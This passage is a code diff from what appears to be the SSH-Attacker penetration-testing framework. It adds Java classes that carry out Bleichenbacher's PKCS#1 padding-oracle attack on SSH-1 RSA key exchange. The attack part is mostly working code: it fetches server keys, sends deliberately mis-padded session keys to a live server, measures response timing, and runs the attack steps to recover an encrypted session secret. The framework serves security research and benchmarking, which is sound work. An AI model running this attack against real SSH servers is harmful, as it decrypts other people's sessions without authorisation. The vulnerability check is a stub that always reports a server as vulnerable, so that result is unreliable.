+ private final CustomRsaPublicKey serverPublicKeyCustom =
+ new CustomRsaPublicKey(
+ new BigInteger("010001", 16),
+ new BigInteger(
+ "CC8E8480EB2E26580EA260146575CB10D215F71A46BBB62C98D854154579E372E193102FF359799C4D247A661F32C082EE5C1919B43889214C8310E6291E2B0B16818464BAE5A0374CACA0EB4814756B71C3E1F459AB4B8DE555D338CA30557F",
+ 16));
+
+ /**
+ * @param bleichenbacherConfig Manger attack config
+ * @param baseConfig Base config
+ */
+ public BleichenbacherAttacker(
+ BleichenbacherCommandConfig bleichenbacherConfig, Config baseConfig) {
+ this(bleichenbacherConfig, baseConfig, new ParallelExecutor(1, 3));
+ }
+
+ /**
+ * @param bleichenbacherCommandConfig Manger attack config
+ * @param baseConfig Base config
+ * @param executor Executor
+ */
+ public BleichenbacherAttacker(
+ BleichenbacherCommandConfig bleichenbacherCommandConfig,
+ Config baseConfig,
+ ParallelExecutor executor) {
+ super(bleichenbacherCommandConfig, baseConfig);
+ sshConfig = getSshConfig();
+ }
+
+ /**
+ * Returns True, if the Sever is vulnerabily to Bleichenbacher`s attack, not implemented yet
+ * because of missing tests.
+ *
+ * @return If the server is vulnerable to Bleichenbacher's attack or not
+ */
+ @Override
+ public Boolean isVulnerable() {
+ return hasOracle();
+ }
+
+ /**
+ * Checks if the server has Bleichenbacher's oracle, is not implemented yed because of missing
+ * testcase.
+ *
+ * @return If the server has Bleichenbacher's oracle or not
+ */
+ public boolean hasOracle() {
+ return true;
+ }
+
+ /**
+ * Fetches the transient public key from a key exchange. Note that multiple calls to this method
+ * when connected to the same server can yield different keys.
+ *
+ * @return Transient public key
+ */
+ private void getServerPublicKey() {
+ if (serverPublicKey == null) {
+ if (publicKeys.isEmpty()) {
+ getPublicKeys();
+ serverPublicKey = publicKeys.get(0);
+ } else {
+ serverPublicKey = publicKeys.get(0);
+ }
+ }
+ }
+
+ private void getHostPublicKey() {
+ if (hostPublicKey == null) {
+ if (publicKeys.isEmpty()) {
+ getPublicKeys();
+ hostPublicKey = publicKeys.get(1);
+ } else {
+ hostPublicKey = publicKeys.get(1);
+ }
+ }
+ }
+
+ private void getPublicKeys() {
+ List fetchedRsaSsh1Keys = KeyFetcher.fetchRsaSsh1Keys(sshConfig);
+ if (fetchedRsaSsh1Keys.isEmpty()) {
+ LOGGER.info("Could not retrieve PublicKey from Server - is the Server running?");
+ return;
+ }
+ publicKeys.clear();
+ publicKeys.addAll(fetchedRsaSsh1Keys);
+ LOGGER.info("Recived keys");
+ }
+
+ private String sendSinglePacket(byte[] msg) {
+
+ Config sshConfig = getSshConfig();
+ sshConfig.setWorkflowExecutorShouldClose(false);
+ sshConfig.setDoNotEncryptMessages(false);
+ WorkflowTrace trace = BleichenbacherWorkflowGenerator.generateWorkflow(sshConfig, msg);
+
+ GenericReceiveAction receiveOracleResultAction = new GenericReceiveAction();
+ trace.addSshAction(receiveOracleResultAction);
+
+ State state = new State(sshConfig, trace);
+ WorkflowExecutor workflowExecutor = new DefaultWorkflowExecutor(state);
+ workflowExecutor.executeWorkflow();
+
+ ProtocolMessage> lastMessage = receiveOracleResultAction.getReceivedMessages().get(0);
+ LOGGER.warn("Received: {}", lastMessage.toString());
+ System.exit(0);
+ return lastMessage.toString();
+ }
+
+ private BigInteger[] RSAKeyPairGenerator(int bitlength) {
+ BigInteger p;
+ BigInteger q;
+ BigInteger N;
+ BigInteger phi;
+ BigInteger e;
+ BigInteger d;
+ SecureRandom r;
+
+ r = new SecureRandom();
+ p = new BigInteger(bitlength / 2, 100, r);
+ q = new BigInteger(bitlength / 2, 100, r);
+ N = p.multiply(q);
+ phi = p.subtract(BigInteger.ONE).multiply(q.subtract(BigInteger.ONE));
+ e = new BigInteger("65537");
+ while (phi.gcd(e).intValue() > 1) {
+ e = e.add(new BigInteger("2"));
+ }
+ d = e.modInverse(phi);
+
+ return new BigInteger[] {e, d, N};
+ }
+
+ /**
+ * Performs a testing procedure with different paddings. Throws a CryptoException if an error
+ * occurs during the process.
+ *
+ * @throws CryptoException if an error occurs during the process
+ */
+ private long testDifferentPaddings() throws CryptoException {
+
+ // Receive keys from server
+ getPublicKeys();
+ getHostPublicKey();
+ getServerPublicKey();
+
+ // Create workflowtrace to receive cookie and calculate session id
+ Config sshConfig = getSshConfig();
+ sshConfig.setWorkflowExecutorShouldClose(false);
+ sshConfig.setDoNotEncryptMessages(false);
+ WorkflowTrace trace =
+ new WorkflowConfigurationFactory(sshConfig)
+ .createWorkflowTrace(
+ WorkflowTraceType.KEX_SSH1_ONLY, RunningModeType.CLIENT);
+
+ ReceiveAction receiveAction = new ReceiveAction(new ServerPublicKeyMessage());
+ trace.addSshAction(receiveAction);
+
+ State state = new State(sshConfig, trace);
+ WorkflowExecutor workflowExecutor = new DefaultWorkflowExecutor(state);
+ workflowExecutor.executeWorkflow();
+
+ List> receivedMessages = receiveAction.getReceivedMessages();
+ LOGGER.info("recived size: {}", receivedMessages.size());
+ LOGGER.info(receivedMessages.get(0).toString());
+ byte[] sessionID = null;
+ if (!receivedMessages.isEmpty()
+ && receivedMessages.get(0) instanceof ServerPublicKeyMessage) {
+
+ byte[] sessionCookie =
+ ((ServerPublicKeyMessage) receivedMessages.get(0))
+ .getAntiSpoofingCookie()
+ .getValue();
+ sessionID = calculateSessionID(sessionCookie);
+ LOGGER.info("SessionID is: {}", ArrayConverter.bytesToRawHexString(sessionID));
+ LOGGER.info("Cookie is: {}", ArrayConverter.bytesToRawHexString(sessionCookie));
+ }
+
+ // Cleanup old trace to remove already executed workflowelements, prevent creating a new
+ // connection and use the existing one
+ trace.removeSshAction(1);
+ trace.removeSshAction(2);
+ trace.removeSshAction(0);
+ sshConfig.setWorkflowExecutorShouldOpen(false);
+ sshConfig.setWorkflowExecutorShouldClose(true);
+ // Create random session key, padd it wrong and create a correct session key message, set
+ // the plain and the encrypted key to be used in later worfklow correctly
+ Random random = new Random();
+ byte[] sessionKey = new byte[32];
+ random.nextBytes(sessionKey);
+
+ byte[] encryptedSecret =
+ PkcsManipulator.wrongPaddingSessionKey(
+ sessionID,
+ sessionKey,
+ config.isInner(),
+ config.isOuter(),
+ hostPublicKey,
+ serverPublicKey,
+ config.getManipulationType());
+
+ ClientSessionKeyMessage clientSessionKeyMessage = new ClientSessionKeyMessage();
+ ModifiableByteArray encryptedSecretArray = new ModifiableByteArray();
+ ModifiableByteArray plainSecretArray = new ModifiableByteArray();
+ encryptedSecretArray.setModification(
+ ByteArrayModificationFactory.explicitValue(encryptedSecret));
+ plainSecretArray.setModification(ByteArrayModificationFactory.explicitValue(sessionKey));
+ clientSessionKeyMessage.setEncryptedSessioKey(encryptedSecretArray);
+ clientSessionKeyMessage.setPlaintextSessioKey(plainSecretArray);
+ trace.addSshAction(new SendAction(clientSessionKeyMessage));
+
+ // receive answer from the server
+ GenericReceiveAction receiveOracleResultAction = new GenericReceiveAction();
+ trace.addSshAction(receiveOracleResultAction);
+
+ long start = System.nanoTime();
+ long requestTime = 0;
+ try {
+ workflowExecutor.executeWorkflow();
+ long finish = System.nanoTime();
+ requestTime = finish - start;
+
+ // print results
+ ProtocolMessage> lastMessage = receiveOracleResultAction.getReceivedMessages().get(0);
+ LOGGER.warn("Received: {} in {} ns", lastMessage.toShortString(), requestTime);
+
+ } catch (WorkflowExecutionException | IndexOutOfBoundsException ex) {
+ LOGGER.error("got a Parser Exception");
+ LOGGER.info(
+ "Server replied with unknown message -> it seems to be working correctly since the message could not be parsed");
+ long finish = System.nanoTime();
+ requestTime = finish - start;
+ LOGGER.warn("Received a fault in {} ns", requestTime);
+ }
+
+ sshConfig.setWorkflowExecutorShouldOpen(true);
+ workflowExecutor.closeConnection();
+ return requestTime;
+ }
+
+ public void doTimingMeasurement(int numberOfTries) {
+
+ ArrayList longValues = new ArrayList<>();
+ try {
+ for (int i = 0; i < numberOfTries; i++) {
+ longValues.add(testDifferentPaddings());
+ }
+ // testDifferentPaddings();
+ } catch (CryptoException e) {
+ throw new RuntimeException(e);
+ }
+
+ String filename = "filename";
+ String manipulatedPadding = "nothing";
+ if (config.isInner()) {
+ filename = "inner.json";
+ manipulatedPadding = "inner";
+ } else if (config.isOuter()) {
+ filename = "outer.json";
+ manipulatedPadding = "outer";
+ } else {
+ filename = "allright.json";
+ }
+
+ JSONObject jo2 = new JSONObject();
+ jo2.put("Times", longValues);
+ jo2.put("Padding", manipulatedPadding);
+
+ String jsonStr2 = jo2.toJSONString();
+
+ File output_File2 = new File(filename);
+ FileOutputStream outputStream2 = null;
+ try {
+ outputStream2 = new FileOutputStream(output_File2);
+ byte[] strToBytes = jsonStr2.getBytes();
+ outputStream2.write(strToBytes);
+
+ outputStream2.close();
+ } catch (IOException e) {
+ throw new RuntimeException(e);
+ }
+
+ LOGGER.warn(jsonStr2);
+
+ System.exit(0);
+ }
+
+ @Override
+ public void executeAttack() {
+ if (!config.getSendSinglePacket().isEmpty()) {
+ byte[] msg = ArrayConverter.hexStringToByteArray(config.getSendSinglePacket());
+ LOGGER.info(sendSinglePacket(msg));
+ }
+
+ boolean randomKeys = false;
+
+ OracleType oracleType = config.getOracleType();
+ KeyLenght keyLenght = config.getKeyLenght();
+
+ if (config.isTiming()) {
+ doTimingMeasurement(config.getIntervall());
+ }
+
+ LocalDateTime dateTime = LocalDateTime.now();
+ DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss");
+ formatter = DateTimeFormatter.ofPattern("yyyyMMdd_HHmmss");
+ String formattedDateTime = dateTime.format(formatter);
+ String filename = formattedDateTime + "_benchmark_results.json";
+
+ /*if (!isVulnerable()) {
+ LOGGER.warn("The server is not vulnerable to Manger's attack");
+ return;
+ }*/
+
+ if (oracleType.equals(OracleType.REAL)) {
+ getPublicKeys();
+ getHostPublicKey();
+ getServerPublicKey();
+ } else {
+ if (!randomKeys) {
+ switch (keyLenght) {
+ case SHORT:
+ serverPrivateKey = serverPrivateKey768;
+ serverPublicKey = serverPublicKey768;
+ hostPrivateKey = hostPrivatKey1024;
+ hostPublicKey = hostPublicKey1024;
+ break;
+ case LONG:
+ serverPrivateKey = serverPrivateKey1024;
+ serverPublicKey = serverPublicKey1024;
+ hostPrivateKey = hostPrivatKey2048;
+ hostPublicKey = hostPublicKey2048;
+ break;
+ default:
+ LOGGER.fatal(
+ "Error - you need to choose a valid Keylenght if oracle-Type is not 'real'");
+ throw new RuntimeException();
+ }
+ } else {
+ int serverKeyLenght, hostKeyLenght;
+ switch (keyLenght) {
+ case SHORT:
+ serverKeyLenght = 768;
+ hostKeyLenght = 1024;
+ break;
+ case LONG:
+ serverKeyLenght = 1024;
+ hostKeyLenght = 2048;
+ break;
+ default:
+ LOGGER.fatal(
+ "Error - you need to choose a valid Keylenght if oracle-Type is not 'real'");
+ throw new RuntimeException();
+ }
+ BigInteger[] serverKeyData = RSAKeyPairGenerator(serverKeyLenght);
+
+ serverPrivateKey = new CustomRsaPrivateKey(serverKeyData[1], serverKeyData[2]);
+ serverPublicKey = new CustomRsaPublicKey(serverKeyData[0], serverKeyData[2]);
+
+ BigInteger[] hostKeyData = RSAKeyPairGenerator(hostKeyLenght);
+
+ hostPrivateKey = new CustomRsaPrivateKey(hostKeyData[1], hostKeyData[2]);
+ hostPublicKey = new CustomRsaPublicKey(hostKeyData[0], hostKeyData[2]);
+
+ LOGGER.debug(
+ ArrayConverter.bytesToHexString(
+ hostPrivateKey.getPrivateExponent().toByteArray()));
+ LOGGER.debug(
+ ArrayConverter.bytesToHexString(
+ hostPublicKey.getPublicExponent().toByteArray()));
+ LOGGER.debug(
+ ArrayConverter.bytesToHexString(
+ serverPrivateKey.getPrivateExponent().toByteArray()));
+ LOGGER.debug(
+ ArrayConverter.bytesToHexString(
+ serverPublicKey.getPublicExponent().toByteArray()));
+ }
+ }
+
+ byte[] encryptedSecret;
+ if (config.isBenchmark()) {
+ LOGGER.info("Running in Benchmark Mode, generating encrypted Session Key");
+
+ Random random = new Random();
+ byte[] sessionKey = new byte[32];
+ random.nextBytes(sessionKey);
+
+ AbstractCipher innerEncryption;
+ AbstractCipher outerEncryption;
+ if (hostPublicKey.getModulus().bitLength() < serverPublicKey.getModulus().bitLength()) {
+ innerEncryption = CipherFactory.getRsaPkcs1Cipher(hostPublicKey);
+ outerEncryption = CipherFactory.getRsaPkcs1Cipher(serverPublicKey);
+ } else {
+ innerEncryption = CipherFactory.getRsaPkcs1Cipher(serverPublicKey);
+ outerEncryption = CipherFactory.getRsaPkcs1Cipher(hostPublicKey);
+ }
+
+ try {
+ sessionKey = innerEncryption.encrypt(sessionKey);
+ encryptedSecret = outerEncryption.encrypt(sessionKey);
+ } catch (CryptoException e) {
+ throw new RuntimeException(e);
+ }
+ } else {
+ LOGGER.info("Running in Live Mode, reading encrypted secret from commandline");
+ if (config.getEncryptedSecret() == null) {
+ throw new ConfigurationException(
+ "The encrypted secret must be set to be decrypted.");
+ }
+ encryptedSecret = ArrayConverter.hexStringToByteArray(config.getEncryptedSecret());
+ }
+
+ if ((encryptedSecret.length * Byte.SIZE) > hostPublicKey.getModulus().bitLength()) {
+ throw new ConfigurationException(
+ "The length of the encrypted secret "
+ + "is not equal to the public key length. Have you selected the correct value?");
+ }
+
+ try {
+ Thread.sleep(500);
+ } catch (InterruptedException e) {
+ throw new RuntimeException(e);
+ }
+
+ // Create correct Oracle
+ Pkcs1Oracle oracle;
+ if (oracleType == OracleType.REAL) {
+ oracle = new BleichenbacherOracle(hostPublicKey, serverPublicKey, getSshConfig());
+ } else {
+ try {
+ oracle =
+ new Ssh1MockOracle(
+ hostPublicKey,
+ hostPrivateKey,
+ serverPublicKey,
+ serverPrivateKey,
+ oracleType);
+ } catch (NoSuchPaddingException | NoSuchAlgorithmException | InvalidKeyException e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ String attackType = "bardou";
+ if (config.isClassic()) attackType = "classic";
+ Bleichenbacher attacker =
+ new Bleichenbacher(encryptedSecret, oracle, hostPublicKey, serverPublicKey);
+ if (config.isBenchmark()) {
+ saveBenchmarkData(
+ filename,
+ attacker,
+ "".getBytes(StandardCharsets.UTF_8),
+ encryptedSecret,
+ 0,
+ oracleType,
+ attackType);
+ }
+
+ long start = System.currentTimeMillis();
+ LOGGER.info("Encrypted Secret: {}", ArrayConverter.bytesToHexString(encryptedSecret));
+
+ attacker.attack(config.isClassic());
+
+ long finish = System.currentTimeMillis();
+ long timeElapsed = finish - start;
+ LOGGER.info("The attack took {} milliseconds", timeElapsed);
+ LOGGER.info(
+ "It took {} tries for the inner and {} tries for the outer Bleichenbacher-Attack",
+ attacker.getCounterInnerBleichenbacher(),
+ attacker.getCounterOuterBleichenbacher());
+
+ LOGGER.info(
+ "Took on average {} ms for inner and {} ms for outer",
+ attacker.getAverageTimeforRequestInnerOracle() / 1000000,
+ attacker.getAverageTimeforRequestOuterOracle() / 1000000);
+ BigInteger solution = attacker.getSolution();
+
+ byte[] solutionByteArray = ArrayConverter.bigIntegerToByteArray(solution);
+
+ CONSOLE.info("Decoded Solution: " + ArrayConverter.bytesToHexString(solutionByteArray));
+
+ if (config.getCookie() != null) {
+ byte[] cookieBytes = config.getCookie().getBytes();
+ byte[] sessionID = calculateSessionID(cookieBytes);
+ int i = 0;
+ for (byte sesseionByte : sessionID) {
+ solutionByteArray[i] = (byte) (sesseionByte ^ solutionByteArray[i++]);
+ }
+ }
+
+ if (config.isBenchmark()) {
+ saveBenchmarkData(
+ filename,
+ attacker,
+ solutionByteArray,
+ encryptedSecret,
+ timeElapsed,
+ oracleType,
+ attackType);
+ }
+ }
+
+ private void saveBenchmarkData(
+ String filename,
+ Bleichenbacher attacker,
+ byte[] solutionByteArray,
+ byte[] encryptedSecret,
+ long timeElapsed,
+ OracleType oracleType,
+ String attackType) {
+ try {
+ JSONObject jo = new JSONObject();
+ jo.put("plaintext", ArrayConverter.bytesToRawHexString(solutionByteArray));
+ jo.put("ciphertext", ArrayConverter.bytesToRawHexString(encryptedSecret));
+ jo.put("time", timeElapsed);
+ jo.put("inner_tries", attacker.getCounterInnerBleichenbacher());
+ jo.put("outer_tries", attacker.getCounterOuterBleichenbacher());
+ jo.put("trimmed_outer", attacker.isOuterTrimmed());
+ jo.put("trimmed_inner", attacker.isInnerTrimmed());
+ jo.put("outer_trimmers", attacker.getOuterTrimmers());
+ jo.put("inner_trimmers", attacker.getInnerTrimmers());
+ jo.put("serverkey_lenght", serverPublicKey.getModulus().bitLength());
+ jo.put("hostkey_lenght", hostPublicKey.getModulus().bitLength());
+ jo.put("oracle_type", oracleType.toString());
+ jo.put("attack_type", attackType);
+ jo.put(
+ "average_ms_inner_oracle",
+ attacker.getAverageTimeforRequestInnerOracle() / 1000000);
+ jo.put(
+ "average_ms_outer_oracle",
+ attacker.getAverageTimeforRequestOuterOracle() / 1000000);
+
+ String jsonStr = jo.toJSONString();
+
+ File output_File = new File(filename);
+ FileOutputStream outputStream = new FileOutputStream(output_File);
+ byte[] strToBytes = jsonStr.getBytes();
+ outputStream.write(strToBytes);
+
+ outputStream.close();
+ } catch (IOException e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ private byte[] calculateSessionID(byte[] cookie) {
+ byte[] serverModulus;
+ byte[] hostModulus;
+
+ serverModulus = serverPublicKey.getModulus().toByteArray();
+ hostModulus = hostPublicKey.getModulus().toByteArray();
+
+ // Remove sign-byte if present
+ if (hostModulus[0] == 0) {
+ hostModulus = Arrays.copyOfRange(hostModulus, 1, hostModulus.length);
+ }
+ if (serverModulus[0] == 0) {
+ serverModulus = Arrays.copyOfRange(serverModulus, 1, serverModulus.length);
+ }
+
+ MessageDigest md = null;
+ try {
+ md = MessageDigest.getInstance("MD5");
+ } catch (NoSuchAlgorithmException e) {
+ throw new RuntimeException(e);
+ }
+ md.update(ArrayConverter.concatenate(hostModulus, serverModulus, cookie));
+ // md.update(Bytes.concat(serverModulus, hostModulus, cookie));
+ byte[] sessionID = md.digest();
+ LOGGER.debug("Session-ID {}", ArrayConverter.bytesToHexString(sessionID));
+
+ return sessionID;
+ }
+}
diff --git a/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/Bleichenbacher.java b/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/Bleichenbacher.java
new file mode 100644
index 000000000..023257b7d
--- /dev/null
+++ b/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/Bleichenbacher.java
@@ -0,0 +1,854 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2023 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.attacks.pkcs1;
+
+import static de.rub.nds.sshattacker.attacks.pkcs1.util.MathHelper.ceil;
+
+import de.rub.nds.modifiablevariable.util.ArrayConverter;
+import de.rub.nds.sshattacker.attacks.pkcs1.oracles.Pkcs1Oracle;
+import de.rub.nds.sshattacker.attacks.pkcs1.util.MathHelper;
+import de.rub.nds.sshattacker.attacks.pkcs1.util.PkcsConverter;
+import de.rub.nds.sshattacker.attacks.pkcs1.util.TrimmerGenerator;
+import de.rub.nds.sshattacker.core.crypto.keys.CustomRsaPublicKey;
+import java.math.BigInteger;
+import java.security.InvalidKeyException;
+import java.security.NoSuchAlgorithmException;
+import java.util.ArrayList;
+import java.util.List;
+import javax.crypto.BadPaddingException;
+import javax.crypto.Cipher;
+import javax.crypto.IllegalBlockSizeException;
+import javax.crypto.NoSuchPaddingException;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class Bleichenbacher extends Pkcs1Attack {
+
+ private static final Logger LOGGER = LogManager.getLogger();
+ // private MathHelper mathHelper = new MathHelper();
+ private final CustomRsaPublicKey hostPublicKey;
+ private final CustomRsaPublicKey serverPublicKey;
+
+ private final BigInteger big_two = BigInteger.valueOf(2);
+
+ private BigInteger B = null;
+ private BigInteger two_B = null;
+ private BigInteger three_B = null;
+ private BigInteger three_B_sub_one = null;
+ private BigInteger three_B_plus_one = null;
+
+ private int counterInnerBleichenbacher;
+ private int counterOuterBleichenbacher;
+
+ private boolean innerTrimmed = false;
+ private boolean outerTrimmed = false;
+ private static final int innerTrimmers = 1500;
+ private static final int outerTrimmers = 500;
+
+ private boolean classic = false;
+
+ /**
+ * @param msg The message that should be decrypted with the attack
+ * @param pkcsOracle The oracle to be queried
+ */
+ public Bleichenbacher(
+ byte[] msg,
+ Pkcs1Oracle pkcsOracle,
+ CustomRsaPublicKey hostPublicKey,
+ CustomRsaPublicKey serverPublicKey) {
+ super(msg, pkcsOracle);
+ this.hostPublicKey = hostPublicKey;
+ this.serverPublicKey = serverPublicKey;
+ counterInnerBleichenbacher = 0;
+ counterOuterBleichenbacher = 0;
+ }
+
+ /**
+ * Perform the step 2a of the Bleichenbacher Attack inkl. Skipping holes and Trimming
+ * improvements from Bardou.
+ *
+ * @param lowerBound the lower bound value
+ * @param ciphertext the ciphertext to manipulate
+ * @param rsaPublicKey the RSA public key
+ * @param outerKey the outer key
+ * @param M the list of intervals
+ * @return the final result of step 2a
+ */
+ private BigInteger step2a(
+ BigInteger lowerBound,
+ byte[] ciphertext,
+ CustomRsaPublicKey rsaPublicKey,
+ CustomRsaPublicKey outerKey,
+ List M) {
+
+ BigInteger s = lowerBound;
+ boolean oracleResult;
+ BigInteger high = null, low = null, j = BigInteger.ONE;
+
+ if (!classic) {
+ // ceil(3*B+j*n,a)
+ low = ceil(three_B.add(j.multiply(rsaPublicKey.getModulus())), M.get(0).lower);
+
+ // ceil(2*B+(j+1)*n,b)-1
+ high =
+ ceil(
+ two_B.add((j.add(BigInteger.ONE).multiply(rsaPublicKey.getModulus()))),
+ M.get(0).upper);
+
+ high = high.subtract(BigInteger.ONE);
+ }
+
+ while (true) {
+ // only skip holes in improved version
+ if (!classic) {
+ if (j.compareTo(BigInteger.ZERO) > 0) {
+ BigInteger[] result = checkAndSkipS(s, j, low, high, rsaPublicKey, M.get(0));
+ s = result[0];
+ j = result[1];
+ high = result[2];
+ low = result[3];
+ }
+ }
+
+ BigInteger attempt =
+ manipulateCiphertext(
+ s,
+ rsaPublicKey.getPublicExponent(),
+ rsaPublicKey.getModulus(),
+ ciphertext);
+
+ if (outerKey != null) {
+ BigInteger encryptedAttempt = encryptBigInt(attempt, outerKey);
+
+ oracleResult = queryOracle(encryptedAttempt, true);
+ counterInnerBleichenbacher++;
+
+ } else {
+ oracleResult = queryOracle(attempt, false);
+
+ if (counterOuterBleichenbacher == 0) {
+ LOGGER.fatal("first");
+ LOGGER.fatal(
+ ArrayConverter.bytesToHexString(
+ ArrayConverter.bigIntegerToByteArray(attempt)));
+ }
+ counterOuterBleichenbacher++;
+ }
+ if (oracleResult) {
+ LOGGER.fatal("2a");
+ LOGGER.fatal(
+ ArrayConverter.bytesToHexString(
+ ArrayConverter.bigIntegerToByteArray(attempt)));
+ return s;
+ }
+
+ s = s.add(BigInteger.ONE);
+ }
+ }
+
+ /**
+ * Searches the smallest suitable s-value for the inner encryption of a nested (double
+ * encrypted) BB-Attack.
+ *
+ *
Implements Step 2b without parallel threats
+ *
+ * @param lowerBound The smallest value where it makes sens to start searching
+ * @param ciphertext the ciphertext which should be checked against
+ * @param rsaPublicKey the public-key to the ciphertext, which should be used to encrypt
+ * @param outerKey the rsa-public-key for the outer encryption, encrypting the generated s-value
+ * @return the smallest s-value, which generates a valid PKCS#1 Ciphertext
+ */
+ private BigInteger step2b(
+ BigInteger lowerBound,
+ byte[] ciphertext,
+ CustomRsaPublicKey rsaPublicKey,
+ CustomRsaPublicKey outerKey) {
+
+ BigInteger s = lowerBound;
+ boolean oracleResult;
+
+ while (true) {
+ BigInteger attempt =
+ manipulateCiphertext(
+ s,
+ rsaPublicKey.getPublicExponent(),
+ rsaPublicKey.getModulus(),
+ ciphertext);
+
+ if (outerKey != null) {
+ BigInteger encryptedAttempt = encryptBigInt(attempt, outerKey);
+
+ oracleResult = queryOracle(encryptedAttempt, true);
+ counterInnerBleichenbacher++;
+
+ } else {
+ oracleResult = queryOracle(attempt, false);
+
+ if (counterOuterBleichenbacher == 0) {
+ LOGGER.fatal("first");
+ LOGGER.fatal(
+ ArrayConverter.bytesToHexString(
+ ArrayConverter.bigIntegerToByteArray(attempt)));
+ }
+ counterOuterBleichenbacher++;
+ }
+ if (oracleResult) {
+ LOGGER.fatal("2b");
+ LOGGER.fatal(
+ ArrayConverter.bytesToHexString(
+ ArrayConverter.bigIntegerToByteArray(attempt)));
+ return s;
+ }
+
+ s = s.add(BigInteger.ONE);
+ }
+ }
+
+ /**
+ * Generates the state for the Bleichenbacher attack Step 2B with single Calls to 2C.
+ *
+ * @param M The intervals as mentioned in the Bleichenbacher paper.
+ * @param previousS The previous value of 's' used in the attack.
+ * @param rsaPublicKey The RSA public key used in the attack.
+ * @return The state as an ArrayList of arrays of BigIntegers.
+ */
+ private ArrayList genState(
+ List M, BigInteger previousS, CustomRsaPublicKey rsaPublicKey) {
+
+ // Saving s and r in States
+ ArrayList state = new ArrayList<>();
+
+ for (Interval chosenInterval : M) {
+ BigInteger upperBound = chosenInterval.getUpper();
+ BigInteger bTimesPrevS = upperBound.multiply(previousS);
+ BigInteger bTimePrevsSubTwoB = bTimesPrevS.subtract(two_B);
+ // r = ceil(2 * b * (s-1) - 2B, n)
+ BigInteger ri = ceil(big_two.multiply(bTimePrevsSubTwoB), rsaPublicKey.getModulus());
+
+ BigInteger rITimesN = ri.multiply(rsaPublicKey.getModulus());
+
+ // s = ceil(2B + r*n, b)
+ BigInteger si_lower = ceil(two_B.add(rITimesN), upperBound);
+ state.add(new BigInteger[] {si_lower, ri});
+ }
+
+ return state;
+ }
+
+ /**
+ * Searches the smallest suitable s-value for the inner encryption of a nested (double
+ * encrypted) BB-Attack.
+ *
+ *
Implements Step 2b parallel threats improvement from klima
+ *
+ * @param ciphertext the ciphertext which should be checked against
+ * @param rsaPublicKey the public-key to the ciphertext, which should be used to encrypt
+ * @param outerKey the rsa-public-key for the outer encryption, encrypting the generated s-value
+ * @return the smallest s-value, which generates a valid PKCS#1 Ciphertext
+ */
+ private BigInteger step2b(
+ List M,
+ BigInteger previousS,
+ byte[] ciphertext,
+ CustomRsaPublicKey rsaPublicKey,
+ CustomRsaPublicKey outerKey) {
+ LOGGER.info("RUNNING Step 2b");
+
+ LOGGER.info("the array has {} items", M.size());
+
+ ArrayList states;
+ states = genState(M, previousS, rsaPublicKey);
+
+ while (true) {
+ for (int i = 0; i < M.size(); i++) {
+ BigInteger lower = M.get(i).lower;
+ BigInteger upper = M.get(i).upper;
+
+ // reading saved values from state
+ BigInteger currentS = states.get(i)[0];
+ BigInteger r = states.get(i)[1];
+
+ // running a single 2c step and get result as array
+ BigInteger[] results =
+ step2cSingle(lower, upper, currentS, r, ciphertext, rsaPublicKey, outerKey);
+
+ BigInteger success = results[0];
+ currentS = results[1];
+ r = results[2];
+
+ if (success.compareTo(BigInteger.ONE) == 0) {
+ // return s because of correct s value
+ return currentS;
+ } else {
+ // Save back state
+ states.get(i)[0] = currentS;
+ states.get(i)[1] = r;
+ }
+ }
+ }
+ }
+
+ /**
+ * Searches for a valid s-value as part of the paralle threats method from klima, pretending
+ * only one interval was found to search for the next s-value
+ *
+ * @param lowerBound the lower bound for the possible s-values
+ * @param upperBound the upper boud for the possible s-values
+ * @param ciphertext the ciphertext, for which the s-values should be found
+ * @param rsaPublicKey the public-key for which the s-values should be found
+ * @param outerKey the outer encryption key
+ * @return BigInteger[] with: 0 / 1 if failed or success, the tests s-value and the used r value
+ */
+ private BigInteger[] step2cSingle(
+ BigInteger lowerBound,
+ BigInteger upperBound,
+ BigInteger currentS,
+ BigInteger r,
+ byte[] ciphertext,
+ CustomRsaPublicKey rsaPublicKey,
+ CustomRsaPublicKey outerKey) {
+
+ boolean oracleResult;
+
+ BigInteger rITimesN = r.multiply(rsaPublicKey.getModulus());
+ BigInteger si_upper = ceil(three_B.add(rITimesN), lowerBound);
+
+ LOGGER.info("Startin");
+
+ while (currentS.compareTo(si_upper) > 0) {
+ r = r.add(BigInteger.ONE);
+ rITimesN = r.multiply(rsaPublicKey.getModulus());
+ currentS = ceil(two_B.add(rITimesN), upperBound);
+ si_upper = ceil(three_B.add(rITimesN), lowerBound);
+ }
+
+ LOGGER.info("having good s");
+
+ BigInteger attempt =
+ manipulateCiphertext(
+ currentS,
+ rsaPublicKey.getPublicExponent(),
+ rsaPublicKey.getModulus(),
+ ciphertext);
+
+ LOGGER.info("Manipulated Successfull");
+
+ if (outerKey != null) {
+ BigInteger encryptedAttempt = encryptBigInt(attempt, outerKey);
+ oracleResult = queryOracle(encryptedAttempt, true);
+ counterInnerBleichenbacher++;
+ } else {
+ oracleResult = queryOracle(attempt, false);
+ counterOuterBleichenbacher++;
+ }
+
+ LOGGER.info("Querried Oracle");
+
+ if (oracleResult) {
+ LOGGER.debug("Successfull");
+ return new BigInteger[] {BigInteger.ONE, currentS, r};
+ } else {
+ LOGGER.debug("Failed");
+ return new BigInteger[] {BigInteger.ZERO, currentS.add(BigInteger.ONE), r};
+ }
+ }
+
+ /**
+ * Searches for a valid s-value in a given range of possible s-values for the inner encryption
+ * of a nested (double encrypted) BB-Attack
+ *
+ * @param lowerBound the lower bound for the possible s-values
+ * @param upperBound the upper boud for the possible s-values
+ * @param previousS the last s which was found,
+ * @param ciphertext the ciphertext, for which the s-values should be found
+ * @param rsaPublicKey the public-key for which the s-values should be found
+ * @param outerKey the outer encryption key
+ * @return the found s-value
+ */
+ private BigInteger step2c(
+ BigInteger lowerBound,
+ BigInteger upperBound,
+ BigInteger previousS,
+ byte[] ciphertext,
